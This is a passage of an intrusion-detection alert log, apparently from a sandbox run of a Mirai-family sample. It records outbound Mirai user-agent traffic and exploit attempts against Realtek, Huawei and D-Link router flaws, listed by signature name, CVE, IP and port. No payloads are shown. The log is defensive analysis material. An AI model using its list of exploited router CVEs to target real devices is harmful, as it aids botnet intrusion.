Source Port:	50370
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.248.215.112

Timestamp:	192.168.2.23156.248.215.11237904802841623 10/23/22-17:58:28.035223
SID:	2841623
Source Port:	37904
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.46.0.6

Timestamp:	192.168.2.23112.46.0.652104802027121 10/23/22-17:58:25.786507
SID:	2027121
Source Port:	52104
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.237.29.81

Timestamp:	192.168.2.23122.237.29.8151688528692027339 10/23/22-17:58:36.308014
SID:	2027339
Source Port:	51688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.110.147.138

Timestamp:	192.168.2.2395.110.147.13855308802027121 10/23/22-17:57:23.576634
SID:	2027121
Source Port:	55308
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.196.166.98

Timestamp:	192.168.2.235.196.166.9839950802846457 10/23/22-17:57:46.216184
SID:	2846457
Source Port:	39950
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.29.230.68

Timestamp:	192.168.2.23181.29.230.6855272802846380 10/23/22-17:58:01.160846
SID:	2846380
Source Port:	55272
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.24.191.221

Timestamp:	192.168.2.2385.24.191.22143600802846457 10/23/22-17:57:00.293101
SID:	2846457
Source Port:	43600
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 52.51.101.189

Timestamp:	192.168.2.2352.51.101.18956142802835221 10/23/22-17:57:11.020124
SID:	2835221
Source Port:	56142
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 61.252.173.75

Timestamp:	192.168.2.2361.252.173.7559392802846457 10/23/22-17:57:31.817606
SID:	2846457
Source Port:	59392
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.185.250.96

Timestamp:	192.168.2.2389.185.250.9650978802846457 10/23/22-17:57:55.919282
SID:	2846457
Source Port:	50978
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.0.201.165

Timestamp:	192.168.2.23200.0.201.16533330802846380 10/23/22-17:57:57.993380
SID:	2846380
Source Port:	33330
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 34.144.235.14

Timestamp:	192.168.2.2334.144.235.1436336802835222 10/23/22-17:56:43.281124
SID:	2835222
Source Port:	36336
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.49.20.140

Timestamp:	192.168.2.23112.49.20.14056360802027121 10/23/22-17:58:29.890240
SID:	2027121
Source Port:	56360
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.215.47.193

Timestamp:	192.168.2.23181.215.47.19352410802846380 10/23/22-17:57:10.928117
SID:	2846380
Source Port:	52410
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.190.33.126

Timestamp:	192.168.2.235.190.33.12651294802846457 10/23/22-17:57:53.509841
SID:	2846457
Source Port:	51294
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.249.64.206

Timestamp:	192.168.2.2388.249.64.20659430802027121 10/23/22-17:58:36.349679
SID:	2027121
Source Port:	59430
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.42.93.88

Timestamp:	192.168.2.23200.42.93.8837380802846380 10/23/22-17:57:14.205877
SID:	2846380
Source Port:	37380
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.68.143.185

Timestamp:	192.168.2.2395.68.143.18545160802027121 10/23/22-17:58:12.838810
SID:	2027121
Source Port:	45160
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 18.203.114.123

Timestamp:	192.168.2.2318.203.114.12335412802835221 10/23/22-17:56:48.003722
SID:	2835221
Source Port:	35412
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 78.129.191.71

Timestamp:	192.168.2.2378.129.191.7156902802835222 10/23/22-17:57:58.552595
SID:	2835222
Source Port:	56902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.148.91.87

Timestamp:	192.168.2.2388.148.91.8754784802027121 10/23/22-17:57:05.159450
SID:	2027121
Source Port:	54784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.40.67

Timestamp:	192.168.2.2388.99.40.6736714802027121 10/23/22-17:58:32.657829
SID:	2027121
Source Port:	36714
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.80.248.46

Timestamp:	192.168.2.23112.80.248.4648880802027121 10/23/22-17:57:10.269344
SID:	2027121
Source Port:	48880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.72.45

Timestamp:	192.168.2.2385.214.72.4557656802846457 10/23/22-17:57:31.240282
SID:	2846457
Source Port:	57656
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 46.163.117.164

Timestamp:	192.168.2.2346.163.117.16440232802846457 10/23/22-17:57:53.176295
SID:	2846457
Source Port:	40232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.217.4.156

Timestamp:	192.168.2.2395.217.4.15642304802027121 10/23/22-17:57:21.038752
SID:	2027121
Source Port:	42304
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.100.232.27

Timestamp:	192.168.2.2395.100.232.2737994802027121 10/23/22-17:56:46.623464
SID:	2027121
Source Port:	37994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.77.74.25

Timestamp:	192.168.2.2337.77.74.2554974528692027339 10/23/22-17:58:30.506992
SID:	2027339
Source Port:	54974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.49.47.8

Timestamp:	192.168.2.23112.49.47.853804802027121 10/23/22-17:56:46.390283
SID:	2027121
Source Port:	53804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.87.80.26

Timestamp:	192.168.2.23213.87.80.2645896802846380 10/23/22-17:57:48.883208
SID:	2846380
Source Port:	45896
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.12.80.85

Timestamp:	192.168.2.2380.12.80.8534194802846380 10/23/22-17:56:39.207837
SID:	2846380
Source Port:	34194
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.154.29.247

Timestamp:	192.168.2.2380.154.29.24744908802846457 10/23/22-17:57:14.328185
SID:	2846457
Source Port:	44908
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.163.217.237

Timestamp:	192.168.2.2389.163.217.23755750802846457 10/23/22-17:58:10.277439
SID:	2846457
Source Port:	55750
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.1.233.90

Timestamp:	192.168.2.23169.1.233.9038006802846380 10/23/22-17:58:09.345906
SID:	2846380
Source Port:	38006
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.81.57.118

Timestamp:	192.168.2.2382.81.57.11838752802846380 10/23/22-17:56:39.359447
SID:	2846380
Source Port:	38752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.34.112.108

Timestamp:	192.168.2.23112.34.112.10836420802027121 10/23/22-17:57:10.301508
SID:	2027121
Source Port:	36420
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.155.111.48

Timestamp:	192.168.2.23164.155.111.4843136802846457 10/23/22-17:57:22.533590
SID:	2846457
Source Port:	43136
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 70.62.230.254

Timestamp:	192.168.2.2370.62.230.25443020802835221 10/23/22-17:57:38.477263
SID:	2835221
Source Port:	43020
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.228.200.113

Timestamp:	192.168.2.23122.228.200.11355508528692027339 10/23/22-17:57:14.125728
SID:	2027339
Source Port:	55508
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.34.101.125

Timestamp:	192.168.2.2389.34.101.12544744528692027339 10/23/22-17:58:32.710280
SID:	2027339
Source Port:	44744
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.105.31

Timestamp:	192.168.2.2395.101.105.3132814802027121 10/23/22-17:57:40.667718
SID:	2027121
Source Port:	32814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.80.200.210

Timestamp:	192.168.2.2395.80.200.21038398802027121 10/23/22-17:58:15.223435
SID:	2027121
Source Port:	38398
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.118.111.184

Timestamp:	192.168.2.23112.118.111.18436898802027121 10/23/22-17:57:31.191166
SID:	2027121
Source Port:	36898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.214.95.177

Timestamp:	192.168.2.2385.214.95.17742752802846457 10/23/22-17:58:01.316273
SID:	2846457
Source Port:	42752
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.78.31.206

Timestamp:	192.168.2.2382.78.31.20632818802846380 10/23/22-17:57:07.329941
SID:	2846380
Source Port:	32818
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 52.194.164.206

Timestamp:	192.168.2.2352.194.164.20645512802841623 10/23/22-17:57:07.686714
SID:	2841623
Source Port:	45512
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 154.213.156.160

Timestamp:	192.168.2.23154.213.156.16046204802841623 10/23/22-17:57:44.512769
SID:	2841623
Source Port:	46204
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.237.207.245

Timestamp:	192.168.2.2380.237.207.24536402802846457 10/23/22-17:56:52.704370
SID:	2846457
Source Port:	36402
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.223.43.238

Timestamp:	192.168.2.2395.223.43.23833270802027121 10/23/22-17:58:27.442268
SID:	2027121
Source Port:	33270
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.57.217.124

Timestamp:	192.168.2.23178.57.217.12436848802846380 10/23/22-17:57:49.327759
SID:	2846380
Source Port:	36848
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.73.254.218

Timestamp:	192.168.2.2386.73.254.21857834802846380 10/23/22-17:57:03.498319
SID:	2846380
Source Port:	57834
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.52.121.14

Timestamp:	192.168.2.23181.52.121.1444068802846380 10/23/22-17:57:10.948665
SID:	2846380
Source Port:	44068
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.76.131.105

Timestamp:	192.168.2.23213.76.131.10534622802846380 10/23/22-17:57:24.960930
SID:	2846380
Source Port:	34622
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.90.104.161

Timestamp:	192.168.2.23200.90.104.16147350802846380 10/23/22-17:58:09.651122
SID:	2846380
Source Port:	47350
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 18.185.14.121

Timestamp:	192.168.2.2318.185.14.12156320802841623 10/23/22-17:56:59.044847
SID:	2841623
Source Port:	56320
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.128.226.31

Timestamp:	192.168.2.23188.128.226.3152330802846457 10/23/22-17:57:47.812263
SID:	2846457
Source Port:	52330
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.23.255.78

Timestamp:	192.168.2.2389.23.255.7846894802846457 10/23/22-17:57:07.080876
SID:	2846457
Source Port:	46894
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.248.211.5

Timestamp:	192.168.2.2380.248.211.552232802846380 10/23/22-17:57:11.369396
SID:	2846380
Source Port:	52232
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 164.92.188.230

Timestamp:	192.168.2.23164.92.188.23037294802846457 10/23/22-17:58:34.368348
SID:	2846457
Source Port:	37294
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.221.150.179

Timestamp:	192.168.2.2388.221.150.17951246802027121 10/23/22-17:57:59.939067
SID:	2027121
Source Port:	51246
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.16.181.169

Timestamp:	192.168.2.232.16.181.16937080802846457 10/23/22-17:57:28.752685
SID:	2846457
Source Port:	37080
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 5.45.66.115

Timestamp:	192.168.2.235.45.66.11534348802846457 10/23/22-17:57:35.597475
SID:	2846457
Source Port:	34348
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT D-LINK Router DSL-2750B RCE M2 - Outbound (metasploit version) - Source IP: 192.168.2.23 - Destination IP: 186.78.174.73

Timestamp:	192.168.2.23186.78.174.7339924802835221 10/23/22-17:58:29.701765
SID:	2835221
Source Port:	39924
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.124.15.248

Timestamp:	192.168.2.2382.124.15.24849894802846380 10/23/22-17:57:54.139204
SID:	2846380
Source Port:	49894
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.182.68.201

Timestamp:	192.168.2.23213.182.68.20157730802846380 10/23/22-17:57:03.553360
SID:	2846380
Source Port:	57730
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.133.227.164

Timestamp:	192.168.2.2388.133.227.16453244802027121 10/23/22-17:57:18.661578
SID:	2027121
Source Port:	53244
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.1.89.129

Timestamp:	192.168.2.23171.1.89.12945514802846457 10/23/22-17:58:21.641440
SID:	2846457
Source Port:	45514
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.103.111.219

Timestamp:	192.168.2.23104.103.111.21952660802841623 10/23/22-17:58:06.256188
SID:	2841623
Source Port:	52660
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.55.174.191

Timestamp:	192.168.2.23213.55.174.19148554802846380 10/23/22-17:57:03.512340
SID:	2846380
Source Port:	48554
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.112.100.76

Timestamp:	192.168.2.2380.112.100.7657610802846457 10/23/22-17:56:52.717306
SID:	2846457
Source Port:	57610
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.135.102.122

Timestamp:	192.168.2.23178.135.102.12243920802846380 10/23/22-17:57:49.358932
SID:	2846380
Source Port:	43920
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 195.20.41.53

Timestamp:	192.168.2.23195.20.41.5336014802846457 10/23/22-17:58:21.665745
SID:	2846457
Source Port:	36014
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 95.101.146.247

Timestamp:	192.168.2.2395.101.146.24736554802027121 10/23/22-17:57:33.443735
SID:	2027121
Source Port:	36554
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.72.203.35

Timestamp:	192.168.2.2337.72.203.3554426528692027339 10/23/22-17:58:30.539666
SID:	2027339
Source Port:	54426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.148.66.81

Timestamp:	192.168.2.23169.148.66.8138822802846380 10/23/22-17:58:30.924119
SID:	2846380
Source Port:	38822
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.32.58.111

Timestamp:	192.168.2.23178.32.58.11139354802846380 10/23/22-17:58:27.257371
SID:	2846380
Source Port:	39354
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.55.105.115

Timestamp:	192.168.2.232.55.105.11544930802846457 10/23/22-17:57:07.202183
SID:	2846457
Source Port:	44930
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 122.236.227.174

Timestamp:	192.168.2.23122.236.227.17438636528692027339 10/23/22-17:58:14.781469
SID:	2027339
Source Port:	38636
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 84.252.102.160

Timestamp:	192.168.2.2384.252.102.16047992802846457 10/23/22-17:58:33.323703
SID:	2846457
Source Port:	47992
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.132.135.77

Timestamp:	192.168.2.232.132.135.7753470802846457 10/23/22-17:57:03.490780
SID:	2846457
Source Port:	53470
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.61.47.203

Timestamp:	192.168.2.23200.61.47.20332828802846380 10/23/22-17:57:18.808202
SID:	2846380
Source Port:	32828
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 88.99.193.109

Timestamp:	192.168.2.2388.99.193.10940040802027121 10/23/22-17:57:49.334871
SID:	2027121
Source Port:	40040
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/Mirai Variant UA Outbound (Tsunami) - Source IP: 192.168.2.23 - Destination IP: 112.167.1.31

Timestamp:	192.168.2.23112.167.1.3160102802027121 10/23/22-17:56:58.131054
SID:	2027121
Source Port:	60102
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.62.10.52

Timestamp:	192.168.2.23178.62.10.5247822802846380 10/23/22-17:57:55.412772
SID:	2846380
Source Port:	47822
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 156.251.133.176

Timestamp:	192.168.2.23156.251.133.17635036802841623 10/23/22-17:58:18.782861
SID:	2841623
Source Port:	35036
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.33.171.148

Timestamp:	192.168.2.2323.33.171.14857632802835222 10/23/22-17:57:40.325812
SID:	2835222
Source Port:	57632
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 206.189.127.10

Timestamp:	192.168.2.23206.189.127.1054244802846380 10/23/22-17:57:18.559033
SID:	2846380
Source Port:	54244
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.61.8.237

Timestamp:	192.168.2.2383.61.8.23760948802846380 10/23/22-17:58:19.895356
SID:	2846380
Source Port:	60948
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.223.4.18

Timestamp:	192.168.2.2389.223.4.1852418802846457 10/23/22-17:58:10.420211
SID:	2846457
Source Port:	52418
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.55.134.174

Timestamp:	192.168.2.23200.55.134.17442224802846380 10/23/22-17:56:55.302550
SID:	2846380
Source Port:	42224
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.252.74.93

Timestamp:	192.168.2.2337.252.74.9347202802846457 10/23/22-17:57:07.197733
SID:	2846457
Source Port:	47202
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO TROJAN ELF/Mirai User-Agent Observed (Outbound) - Source IP: 192.168.2.23 - Destination IP: 188.213.33.191

Timestamp:	192.168.2.23188.213.33.19145434802846457 10/23/22-17:58:07.936248
